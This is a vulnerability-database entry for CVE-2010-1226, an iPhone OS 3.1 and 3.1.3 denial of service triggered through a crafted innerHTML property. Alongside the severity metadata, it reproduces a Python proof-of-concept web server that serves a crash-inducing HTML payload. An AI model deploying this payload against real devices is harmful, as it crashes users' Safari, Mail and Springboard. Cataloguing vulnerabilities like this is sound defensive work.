CVE-2010-1226 : Detail

CVE-2010-1226

A03-Injection
40.78%V3
Network
2010-04-01
20h00 +00:00
2010-06-17
07h00 +00:00
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CVE Descriptions

The HTTP client functionality in Apple iPhone OS 3.1 on the iPhone 2G and 3.1.3 on the iPhone 3GS allows remote attackers to cause a denial of service (Safari, Mail, or Springboard crash) via a crafted innerHTML property of a DIV element, related to a "malformed character" issue.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 11769

Publication date : 2010-03-14 23h00 +00:00
Author : Chase Higgins
EDB Verified : Yes

#!/usr/bin/python #iPhone Springboard crash PoC by Chase Higgins. Devices tested: iPhone 2G @ OS 3.1, iPhone 3GS @ 3.1.3 #this script acts as webserver, and causes Safari, as well as Mail and Springboard to crash #all these apps crash after running this exploit on the iPhone. Unable to debug any of these processes as the gdb on my #device is acting up, original iPhone is just too low memory to further test this exploit, so I am releasing it # Exploit Title: iPhone Springboard Malformed Character Crash PoC # Date: 3/15/2010 # Author: Chase Higgins # Software Link: apple.com/iphone/ # Version: iPhone 2G, iPhone 3GS # Tested on: iPhone OS 3.1, and iPhone OS 3.1.3 # CVE : # Code : none import sys, socket; def main(): html = """ <html> <head> <script> function triggerCrash(){ evil_div = document.getElementById('evilDiv'); var evil_string = "\x4e\x5b\x01"; i = 0; while (i < 1000){ evil_string = evil_string + evil_string; } evil_div.innerHTML = evil_string; } </script> </head> <body onLoad="triggerCrash()"> <div id="evilDiv"> </div> </body> </html> """; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.bind(('',2121)); s.listen(1); while True: channel, details = s.accept(); print channel.recv(1024); channel.send(html); channel.close(); main();

Products Mentioned

Configuraton 0

Apple>>Iphone >> Version 2g

    Apple>>Iphone_os >> Version 3.1

    Configuraton 0

    Apple>>Iphone >> Version 3gs

      Apple>>Iphone_os >> Version 3.1.3

      References

      http://www.securityfocus.com/bid/38758
      Tags : vdb-entry, x_refsource_BID
      http://www.exploit-db.com/exploits/11769
      Tags : exploit, x_refsource_EXPLOIT-DB